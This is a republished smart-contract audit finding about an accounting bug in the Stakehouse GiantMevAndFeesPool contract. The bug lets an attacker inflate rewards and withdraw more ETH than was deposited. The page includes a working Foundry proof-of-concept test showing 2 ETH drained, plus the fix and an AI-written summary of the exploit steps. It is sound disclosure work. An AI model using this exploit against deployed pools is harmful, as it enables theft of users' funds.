GiantMevAndFeesPool.bringUnusedETHBackIntoGiantPool function loses the addition of the idleETH which allows attackers to steal most of eth from the Giant Pool
The GiantMevAndFeesPool contract fails to increase idleETH when unused ETH is returned from a staking pool, causing totalRewardsReceived to overstate rewards and inflate accumulatedETHPerLPShare. An attacker can exploit this to steal ETH from the Giant Pool.
ronnyx2017 Follow with Lambda
Originally disclosed on Code4rena
Submitted by ronnyx2017, also found by Lambda
https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L126-L138 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L176-L178
The contract GiantMevAndFeesPool override the function totalRewardsReceived:
return address(this).balance + totalClaimed - idleETH;
The function totalRewardsReceived is used as the current rewards balance to caculate the unprocessed rewards in the function SyndicateRewardsProcessor._updateAccumulatedETHPerLP
uint256 received = totalRewardsReceived();
uint256 unprocessed = received - totalETHSeen;
The idleETH will be decreased in the function batchDepositETHForStaking for sending eth to the staking pool. But the idleETH wont be increased in the function bringUnusedETHBackIntoGiantPool which is used to burn lp tokens in the staking pool, and the staking pool will send the eth back to the giant pool. And then because of the diminution of the idleETH, the accumulatedETHPerLPShare is added out of thin air. So the attacker can steal more eth from the GiantMevAndFeesPool.
Proof of Concept
test: test/foundry/TakeFromGiantPools.t.sol
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT
import "forge-std/console.sol";
import {GiantPoolTests} from "./GiantPools.t.sol";
import { LPToken } from "../../contracts/liquid-staking/LPToken.sol";
contract TakeFromGiantPools is GiantPoolTests {
function testDWclaimRewards() public{
address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
address feesAndMevUserTwo = accountThree; vm.deal(feesAndMevUserTwo, 4 ether);
// Register BLS key
registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);
// Deposit ETH into giant fees and mev
vm.startPrank(feesAndMevUserOne);
giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
vm.stopPrank();
vm.startPrank(feesAndMevUserTwo);
giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
bytes[][] memory blsKeysForVaults = new bytes[][](1);
blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
giantFeesAndMevPool.batchDepositETHForStaking(
getAddressArrayFromValues(address(manager.stakingFundsVault())),
getUint256ArrayFromValues(4 ether),
blsKeysForVaults,
stakeAmountsForVaults
);
vm.warp(block.timestamp+31 minutes);
LPToken[] memory tokens = new LPToken[](1);
tokens[0] = manager.stakingFundsVault().lpTokenForKnot(blsPubKeyOne);
LPToken[][] memory allTokens = new LPToken[][](1);
allTokens[0] = tokens;
giantFeesAndMevPool.bringUnusedETHBackIntoGiantPool(
getAddressArrayFromValues(address(manager.stakingFundsVault())),
allTokens,
stakeAmountsForVaults
);
// inject a NOOP to skip some functions
address[] memory stakingFundsVaults = new address[](1);
bytes memory code = new bytes(1);
code[0] = 0x00;
vm.etch(address(0x123), code);
stakingFundsVaults[0] = address(0x123);
giantFeesAndMevPool.claimRewards(feesAndMevUserTwo, stakingFundsVaults, blsKeysForVaults);
vm.stopPrank();
console.log("user one:", getBalance(feesAndMevUserOne));
console.log("user two(attacker):", getBalance(feesAndMevUserTwo));
console.log("giantFeesAndMevPool:", getBalance(address(giantFeesAndMevPool)));
}
function getBalance(address addr) internal returns (uint){
// giant LP : eth at ratio of 1:1
return addr.balance + giantFeesAndMevPool.lpTokenETH().balanceOf(addr);
}
}
run test:
forge test --match-test testDWclaimRewards -vvv
test log:
Logs:
user one: 4000000000000000000
user two(attacker): 6000000000000000000
giantFeesAndMevPool: 6000000000000000000
The attacker stole 2 eth from the pool.
Tools Used
foundry
Recommended Mitigation Steps
Add
idleETH += _amounts[i];
before burnLPTokensForETH in the GiantMevAndFeesPool.bringUnusedETHBackIntoGiantPool function.
vince0656 (Stakehouse) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The bringUnusedETHBackIntoGiantPool function does not increment idleETH when ETH is returned from the staking pool, so totalRewardsReceived is overstated and rewards are inflated.
Impact
The attacker stole 2 ETH from the pool, as demonstrated in the test.
What the attacker needed
Access to the giant pool; ability to deposit and stake ETH; ability to call bringUnusedETHBackIntoGiantPool
The fix
The bringUnusedETHBackIntoGiantPool function should increment idleETH by the returned amount before burning LP tokens.
How it was found
- Register a BLS key and deposit ETH into the giant fees and mev pool from two users.
- Call batchDepositETHForStaking to stake ETH, which decreases idleETH.
- Wait 31 minutes and then call bringUnusedETHBackIntoGiantPool to burn LP tokens and return ETH to the giant pool.
- Call claimRewards for the attacker, which uses the inflated accumulatedETHPerLPShare to pay out more ETH than deserved.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract pool tracks how much ETH is idle versus staked. When staked ETH is returned, the contract forgets to update the idle amount, so it thinks it has earned extra rewards. This lets an attacker claim more than their fair share of the pool's ETH.
What is Smart contracts?
Flaws in on-chain code that let an attacker drain funds, freeze them or break the protocol's accounting.